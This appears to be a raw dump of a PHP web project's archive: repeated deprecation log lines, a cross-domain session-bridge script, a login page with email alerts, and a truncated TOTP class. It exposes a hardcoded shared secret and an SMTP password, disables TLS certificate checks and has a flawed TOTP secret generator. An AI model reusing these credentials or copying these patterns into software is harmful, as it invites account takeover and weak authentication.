/home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [14-Mar-2025 18:03:13 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [14-Mar-2025 18:23:15 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [14-Mar-2025 18:23:20 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [14-Mar-2025 18:23:32 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [14-Mar-2025 20:03:33 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [14-Mar-2025 21:44:15 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [14-Mar-2025 21:57:23 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [14-Mar-2025 21:57:58 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [14-Mar-2025 21:58:00 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [14-Mar-2025 21:58:05 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [14-Mar-2025 21:58:43 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [14-Mar-2025 21:58:44 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [14-Mar-2025 21:58:48 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [14-Mar-2025 21:58:55 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [14-Mar-2025 21:59:19 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [14-Mar-2025 21:59:22 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [14-Mar-2025 21:59:44 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [14-Mar-2025 22:01:14 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [14-Mar-2025 22:01:41 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [14-Mar-2025 22:01:50 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [14-Mar-2025 22:03:35 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [14-Mar-2025 22:03:41 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [14-Mar-2025 22:05:26 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [14-Mar-2025 22:05:58 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [14-Mar-2025 22:07:37 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [14-Mar-2025 22:07:50 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [14-Mar-2025 22:08:03 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [14-Mar-2025 22:08:20 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [14-Mar-2025 22:09:27 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [14-Mar-2025 22:11:46 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [14-Mar-2025 22:12:02 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [14-Mar-2025 23:28:25 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [14-Mar-2025 23:41:59 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [14-Mar-2025 23:42:26 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [14-Mar-2025 23:48:55 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [14-Mar-2025 23:49:06 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [15-Mar-2025 00:08:09 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [15-Mar-2025 00:08:24 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [15-Mar-2025 00:09:20 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [15-Mar-2025 00:14:49 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [15-Mar-2025 00:17:04 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [15-Mar-2025 09:34:42 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [15-Mar-2025 09:57:05 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [15-Mar-2025 09:58:42 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [15-Mar-2025 10:25:43 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [15-Mar-2025 11:51:38 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [15-Mar-2025 11:52:05 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [15-Mar-2025 12:05:01 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [15-Mar-2025 12:16:20 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [15-Mar-2025 12:16:26 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [15-Mar-2025 14:17:11 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [15-Mar-2025 14:19:37 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [15-Mar-2025 14:20:16 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [15-Mar-2025 15:18:38 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [15-Mar-2025 15:37:43 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [15-Mar-2025 17:04:52 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [15-Mar-2025 17:09:29 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [15-Mar-2025 17:43:42 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [15-Mar-2025 18:45:22 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [15-Mar-2025 18:48:10 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [15-Mar-2025 18:53:49 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [15-Mar-2025 19:02:00 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [15-Mar-2025 19:25:41 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [15-Mar-2025 19:32:25 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [15-Mar-2025 19:32:27 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [15-Mar-2025 19:32:27 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [15-Mar-2025 19:32:29 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [15-Mar-2025 19:32:43 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [15-Mar-2025 19:32:56 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [15-Mar-2025 19:43:42 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [15-Mar-2025 19:46:34 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [15-Mar-2025 20:36:26 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [15-Mar-2025 20:37:21 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [16-Mar-2025 01:57:34 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [16-Mar-2025 09:10:52 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [16-Mar-2025 11:07:51 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [16-Mar-2025 11:08:19 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [16-Mar-2025 11:08:44 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [16-Mar-2025 11:10:37 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [16-Mar-2025 14:02:38 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [16-Mar-2025 15:16:24 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 PK �)�[ /,�� � andweare/session-bridge.phpnu �Iw�� <?php // Fichier session-bridge.php - À placer sur idsma.imators.com session_start(); header('Access-Control-Allow-Origin: https://andweare.com'); header('Access-Control-Allow-Credentials: true'); header('Content-Type: application/json'); // Paramètre de sécurité pour vérifier la validité de la demande $token = filter_input(INPUT_GET, 'token', FILTER_SANITIZE_STRING); $secret_key = 'K8P5nxL$2jRwVmGa7yQtHdAzC@_bYs9F3u6EX#N4ZWJTvf!e'; // Clé partagée entre les deux domaines // Vérifier que la requête est autorisée if (empty($token) || hash('sha256', $secret_key . date('Ymd')) !== $token) { echo json_encode(['status' => 'error', 'message' => 'Unauthorized access']); exit; } // Récupérer les données de session à partager $session_data = [ 'status' => 'success', 'user_id' => $_SESSION['user_id'] ?? null, 'username' => $_SESSION['username'] ?? null, 'andweare_member' => $_SESSION['andweare_member'] ?? 0, 'family_site_url' => $_SESSION['family_site_url'] ?? '', 'family_role' => $_SESSION['family_role'] ?? '', ]; // Générer un token de session unique if (!empty($session_data['user_id'])) { $session_data['auth_token'] = hash('sha256', $secret_key . $session_data['user_id'] . time()); // Stocker le token dans la base de données pour vérification ultérieure try { require_once 'db.php'; $db = new Database(); $conn = $db->connect(); $stmt = $conn->prepare("INSERT INTO session_tokens (user_id, token, expires_at) VALUES (?, ?, DATE_ADD(NOW(), INTERVAL 1 HOUR))"); $stmt->execute([$session_data['user_id'], $session_data['auth_token']]); } catch (Exception $e) { // Gérer l'erreur silencieusement } } echo json_encode($session_data); ?>PK �)�[rB�$H $H andweare/index.phpnu �Iw�� <?php session_start(); require_once '../db.php'; require '../vendor/autoload.php'; use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\SMTP; use PHPMailer\PHPMailer\Exception; const MAX_ATTEMPTS = 3; const LOCKOUT_DURATION = 300; if(isset($_SESSION['user_id'])) { if(isset($_SESSION['andweare_member']) && $_SESSION['andweare_member'] == 1) { header('Location: ' . $_SESSION['family_site_url']); exit; } else { header('Location: https://andweare.com/create-family'); exit; } } function getDeviceInfo($user_agent) { $device_info = [ 'device' => 'Unknown', 'os' => 'Unknown', 'browser' => 'Unknown' ]; if(preg_match('/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i',$user_agent)) { $device_info['device'] = 'Mobile'; } elseif(preg_match('/tablet|ipad|playbook|silk/i', $user_agent)) { $device_info['device'] = 'Tablet'; } else { $device_info['device'] = 'Desktop'; } if(preg_match('/windows/i', $user_agent)) { $device_info['os'] = 'Windows'; } elseif(preg_match('/macintosh|mac os x/i', $user_agent)) { $device_info['os'] = 'MacOS / iOS'; } elseif(preg_match('/linux/i', $user_agent)) { $device_info['os'] = 'Linux'; } elseif(preg_match('/iphone|ipad|ipod/i', $user_agent)) { $device_info['os'] = 'iOS'; } elseif(preg_match('/android/i', $user_agent)) { $device_info['os'] = 'Android'; } if(preg_match('/MSIE|Trident/i', $user_agent)) { $device_info['browser'] = 'Internet Explorer'; } elseif(preg_match('/Firefox/i', $user_agent)) { $device_info['browser'] = 'Firefox'; } elseif(preg_match('/Chrome/i', $user_agent)) { $device_info['browser'] = 'Chrome'; } elseif(preg_match('/Safari/i', $user_agent)) { $device_info['browser'] = 'Safari'; } elseif(preg_match('/Opera|OPR/i', $user_agent)) { $device_info['browser'] = 'Opera'; } return $device_info; } function sendLoginNotification($email, $location, $device_info) { $mail = new PHPMailer(true); try { $mail->isSMTP(); $mail->Host = 'mail.imators.com'; $mail->SMTPAuth = true; $mail->Username = 'no-reply@imators.systems'; $mail->Password = 'imators.managements4455*#@'; $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS; $mail->Port = 587; $mail->SMTPOptions = [ 'ssl' => [ 'verify_peer' => false, 'verify_peer_name' => false, 'allow_self_signed' => true ] ]; $mail->setFrom('no-reply@imators.systems', 'Imators'); $mail->addAddress($email); $mail->addReplyTo('no-reply@imators.systems', 'No Reply'); $mail->isHTML(true); $mail->Subject = 'Imators Security'; $mail->Body = ' <div style="font-family: \'Noto Sans KR\', sans-serif; max-width: 600px; margin: 0 auto;"> <div style="background: #ffffff; padding: 30px; border-radius: 10px; color: black;"> <h1 style="margin-bottom: 20px;">We detected a new login to AndWeAre with your Imators Account.</h1> <ul style="margin-bottom: 20px; list-style: none; padding: 0;"> <li style="margin-bottom: 5px;">Location: ' . ($location['location'] ?? 'Unknown') . '</li> <li style="margin-bottom: 5px;">Device: ' . $device_info['device'] . ' (' . $device_info['os'] . ')</li> <li style="margin-bottom: 5px;">Browser: ' . $device_info['browser'] . '</li> <li style="margin-bottom: 5px;">Time: ' . date('F j, Y g:i A') . '</li> </ul> <p style="margin-bottom: 30px;">If this wasn\'t you, please secure your account immediately.</p> <a href="https://idsma.imators.com" style="display: inline-block; background-color: #000000; color: white; padding: 10px 20px; text-decoration: none; border-radius: 5px;"> Go to Account Settings </a> <p style="margin-top: 20px; font-size: 12px; color: #888;"> If you believe someone has unauthorized access to your account, please contact our support team immediately. </p> </div> </div>'; $mail->send(); } catch (Exception $e) { error_log("Login email error: " . $mail->ErrorInfo); } } function logSuccessfulLogin($conn, $user, $location, $device_info) { $ip_address = $_SERVER['REMOTE_ADDR']; $watchguard_data = [ 'user_id' => $user['id'], 'ip-connected' => json_encode([ 'ip' => $ip_address, 'location' => $location['location'] ?? 'Unknown' ]), 'identified-screen' => json_encode($device_info), 'hours-of-connect' => date('H:i:s'), 'date-of-connect' => date('Y-m-d H:i:s') ]; $stmt = $conn->prepare(" INSERT INTO `connection-watchguard` (user_id, `ip-connected`, `identified-screen`, `hours-of-connect`, `date-of-connect`) VALUES (:user_id, :ip_connected, :identified_screen, :hours_of_connect, :date_of_connect) "); $stmt->execute([ ':user_id' => $watchguard_data['user_id'], ':ip_connected' => $watchguard_data['ip-connected'], ':identified_screen' => $watchguard_data['identified-screen'], ':hours_of_connect' => $watchguard_data['hours-of-connect'], ':date_of_connect' => $watchguard_data['date-of-connect'] ]); } $error = ''; $success = ''; $is_locked = false; $remaining_time = 0; $_SESSION['login_attempts'] ??= 0; if (isset($_SESSION['lockout_time']) && $_SESSION['lockout_time'] > time()) { $is_locked = true; $remaining_time = $_SESSION['lockout_time'] - time(); } if (isset($_GET['unlock']) && (!isset($_SESSION['lockout_time']) || $_SESSION['lockout_time'] <= time())) { unset($_SESSION['login_attempts']); unset($_SESSION['lockout_time']); $is_locked = false; } if(isset($_GET['verified'])) { $success = "Email verified! Please login to continue."; } if ($_SERVER['REQUEST_METHOD'] === 'POST' && !$is_locked) { $email = filter_var($_POST['email'], FILTER_SANITIZE_EMAIL); $password = $_POST['password']; try { $db = new Database(); $conn = $db->connect(); $stmt = $conn->prepare("SELECT * FROM utilisateurs WHERE email = ? AND is_verified = 1 LIMIT 1"); $stmt->execute([$email]); if($stmt->rowCount() > 0) { $user = $stmt->fetch(PDO::FETCH_ASSOC); if(password_verify($password, $user['password'])) { $stmt = $conn->prepare("SELECT passkey_enabled FROM utilisateurs WHERE id = ? LIMIT 1"); $stmt->execute([$user['id']]); $passkey_enabled = $stmt->fetchColumn(); if ($passkey_enabled) { $_SESSION['pending_passkey_auth'] = true; $_SESSION['pending_user_id'] = $user['id']; $_SESSION['pending_username'] = $user['username']; $_SESSION['pending_email'] = $user['email']; header('Location: passkey.php'); exit; } unset($_SESSION['login_attempts']); unset($_SESSION['lockout_time']); $_SESSION['user_id'] = $user['id']; $_SESSION['username'] = $user['username']; $stmt = $conn->prepare("SELECT andweare_member, family_site_url, family_role FROM utilisateurs WHERE id = ? LIMIT 1"); $stmt->execute([$user['id']]); $andweare_data = $stmt->fetch(PDO::FETCH_ASSOC); $_SESSION['andweare_member'] = $andweare_data['andweare_member'] ?? 0; $_SESSION['family_site_url'] = $andweare_data['family_site_url'] ?? ''; $_SESSION['family_role'] = $andweare_data['family_role'] ?? ''; $device_info = getDeviceInfo($_SERVER['HTTP_USER_AGENT']); $ip_details = json_decode(file_get_contents("http://ip-api.com/json/" . $_SERVER['REMOTE_ADDR']), true); $location = []; if($ip_details && $ip_details['status'] === 'success') { $location = [ 'country' => $ip_details['country'], 'city' => $ip_details['city'], 'region' => $ip_details['regionName'], 'location' => "{$ip_details['city']}, {$ip_details['country']}" ]; } logSuccessfulLogin($conn, $user, $location, $device_info); sendLoginNotification($email, $location, $device_info); if($_SESSION['andweare_member'] == 1 && !empty($_SESSION['family_site_url'])) { header('Location: ' . $_SESSION['family_site_url']); } else { header('Location: https://andweare.com/create-family'); } exit; } else { $_SESSION['login_attempts']++; if ($_SESSION['login_attempts'] >= MAX_ATTEMPTS) { $_SESSION['lockout_time'] = time() + LOCKOUT_DURATION; $is_locked = true; $error = "Too many failed attempts. Please wait 5 minutes."; } else { $error = "Invalid password"; } } } else { $error = "Email not found or not verified"; } } catch(PDOException $e) { $error = "Login failed: " . $e->getMessage(); } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>AndWeare - Family Hub</title> <meta name="description" content="Create and join your family hub with AndWeare. Connect, share, and organize your family life in one place."> <meta property="og:url" content="https://andweare.com"> <meta property="og:type" content="website"> <meta property="og:title" content="AndWeare - Family Hub"> <meta property="og:description" content="Create and join your family hub with AndWeare. Connect, share, and organize your family life in one place."> <meta property="og:image" content="https://andweare.com/images/og-image.png"> <meta name="twitter:card" content="summary_large_image"> <meta property="twitter:domain" content="andweare.com"> <meta property="twitter:url" content="https://andweare.com"> <meta name="twitter:title" content="AndWeare - Family Hub"> <meta name="twitter:description" content="Create and join your family hub with AndWeare. Connect, share, and organize your family life in one place."> <meta name="twitter:image" content="https://andweare.com/images/twitter-image.png"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link href="https://fonts.googleapis.com/css2?family=Noto+Sans+KR:wght@300;400;500;700&display=swap" rel="stylesheet"> <script src="https://cdn.tailwindcss.com"></script> <script src="https://unpkg.com/alpinejs@3.x.x/dist/cdn.min.js" defer></script> <style> body { font-family: 'Noto Sans KR', sans-serif; } </style> </head> <body x-data="loginManager()" class="bg-white text-black min-h-screen flex items-center justify-center"> <div class="w-full max-w-md p-8"> <div class="text-center mb-8"> <img src="https://cdn.imators.com/andweare-logo.png" alt="AndWeare Logo" class="mx-auto mb-4" style="height: 60px;"> <h1 class="text-3xl font-light">Welcome to AndWeare</h1> <p class="text-sm text-gray-600">Login to your Imators account to create or access your family hub</p> </div> <form method="POST" x-on:submit.prevent="submitForm" class="space-y-6" > <?php if($error): ?> <div x-show="showError" class="bg-red-500 text-white p-3 rounded-lg text-center mb-4" > <?php echo htmlspecialchars($error); ?> </div> <?php endif; ?> <?php if($is_locked): ?> <div x-data="lockoutTimer(<?php echo $remaining_time; ?>)" x-init="startTimer()" class="bg-yellow-100 border border-yellow-400 text-yellow-800 p-4 rounded-lg text-center mb-4" > <p>Too many login attempts</p> Time remaining: <span x-text="formattedTime"></span> <a x-show="canUnlock" href="?unlock" class="mt-2 inline-block bg-green-500 text-white px-4 py-2 rounded" > Try Again </a> </div> <?php endif; ?> <div> <label class="block text-sm font-medium mb-2">Email</label> <input type="email" name="email" required <?php echo $is_locked ? 'disabled' : ''; ?> x-model="email" class="w-full px-4 py-2 rounded-lg border border-gray-300 focus:border-black focus:outline-none <?php echo $is_locked ? 'opacity-50 cursor-not-allowed' : ''; ?>" > </div> <div> <label class="block text-sm font-medium mb-2">Password</label> <div class="relative"> <input type="password" name="password" required <?php echo $is_locked ? 'disabled' : ''; ?> x-model="password" id="password-field" class="w-full px-4 py-2 rounded-lg border border-gray-300 focus:border-black focus:outline-none <?php echo $is_locked ? 'opacity-50 cursor-not-allowed' : ''; ?>" > <button type="button" class="absolute inset-y-0 right-0 pr-3 flex items-center" onclick="togglePasswordVisibility()" > <svg xmlns="http://www.w3.org/2000/svg" class="h-5 w-5 text-gray-400" id="eye-icon" fill="none" viewBox="0 0 24 24" stroke="currentColor"> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M15 12a3 3 0 11-6 0 3 3 0 016 0z" /> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M2.458 12C3.732 7.943 7.523 5 12 5c4.478 0 8.268 2.943 9.542 7-1.274 4.057-5.064 7-9.542 7-4.477 0-8.268-2.943-9.542-7z" /> </svg> <svg xmlns="http://www.w3.org/2000/svg" class="h-5 w-5 text-gray-400 hidden" id="eye-off-icon" fill="none" viewBox="0 0 24 24" stroke="currentColor"> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M13.875 18.825A10.05 10.05 0 0112 19c-4.478 0-8.268-2.943-9.543-7a9.97 9.97 0 011.563-3.029m5.858.908a3 3 0 114.243 4.243M9.878 9.878l4.242 4.242M9.88 9.88l-3.29-3.29m7.532 7.532l3.29 3.29M3 3l18 18" /> </svg> </button> </div> </div> <button type="submit" <?php echo $is_locked ? 'disabled' : ''; ?> class="w-full bg-black text-white py-2 px-4 rounded-lg font-medium hover:bg-gray-800 transition-colors <?php echo $is_locked ? 'opacity-50 cursor-not-allowed' : ''; ?>" > Login </button> </form> </div> <script> function togglePasswordVisibility() { const passwordField = document.getElementById('password-field'); const eyeIcon = document.getElementById('eye-icon'); const eyeOffIcon = document.getElementById('eye-off-icon'); if (passwordField.type === 'password') { passwordField.type = 'text'; eyeIcon.classList.add('hidden'); eyeOffIcon.classList.remove('hidden'); } else { passwordField.type = 'password'; eyeIcon.classList.remove('hidden'); eyeOffIcon.classList.add('hidden'); } } function loginManager() { return { email: '', password: '', showError: <?php echo $error ? 'true' : 'false'; ?>, submitForm() { if (!this.email || !this.password) { this.showError = true; return; } document.querySelector('form').submit(); } }; } function lockoutTimer(initialTime) { return { remainingTime: initialTime, canUnlock: false, formattedTime: '', startTimer() { const updateTimer = () => { if (this.remainingTime > 0) { const minutes = Math.floor(this.remainingTime / 60); const seconds = this.remainingTime % 60; this.formattedTime = `${minutes} min ${seconds} sec`; this.remainingTime--; setTimeout(updateTimer, 1000); } else { this.canUnlock = true; this.formattedTime = 'Unlocked'; } }; updateTimer(); } } } </script> </body> </html>PK �)�[2��!� � totp.phpnu �[��� <?php class TOTP { private static function base32Decode($secret) { $base32chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'; $secret = strtoupper($secret); $n = 0; $j = 0; $binary = ''; for ($i = 0; $i < strlen($secret); $i++) { $n = $n << 5; $n = $n + strpos($base32chars, $secret[$i]); $j = $j + 5; if ($j >= 8) { $j = $j - 8; $binary .= chr(($n & (0xFF << $j)) >> $j); } } return $binary; } public static function generateSecret() { return trim(base64_encode(random_bytes(32)), '='); } public static function getQRCodeUrl($name, $secret) { $url = 'otpauth://totp/' . urlencode($name) . '?secret=' . $secret . '&issuer=Imators'; return 'https://api.qrserver.com/v1/create-qr-code/?size=200x200&data=' . urlencode($url); } public static function verifyCode($secret, $code, $discrepancy = 1) { $timeSlice = floor(time() / 30); for ($i = -$discrepancy; $i <= $discrepancy; $i++) { $calculatedCode = self::getCode($secret, $timeSlice + $i); if (hash_equals($calculatedCode, $code)) { return true; } } return false; } private static function getCode($secret, $timeSlice) { $secretkey = 